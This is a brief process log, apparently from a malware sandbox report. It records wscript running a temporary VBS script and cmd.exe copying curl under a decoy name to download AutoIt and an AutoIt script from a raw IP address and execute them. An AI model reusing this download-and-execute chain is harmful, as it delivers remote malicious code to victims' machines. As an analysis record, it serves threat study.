wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\neverban_vrkvQj.vbs
3060cmd.exe "C:\Windows\System32\cmd.exe" /c mkdir c:\ggrn & cd /d c:\ggrn & copy c:\windows\system32\curl.exe ggrn.exe & ggrn -H "User-Agent: curl" -o Autoit3.exe http://66.42.63.27:2351 & ggrn -o algext.au3 http://66.42.63.27:2351/msiggrnjmvo & Autoit3.exe algext.au3
200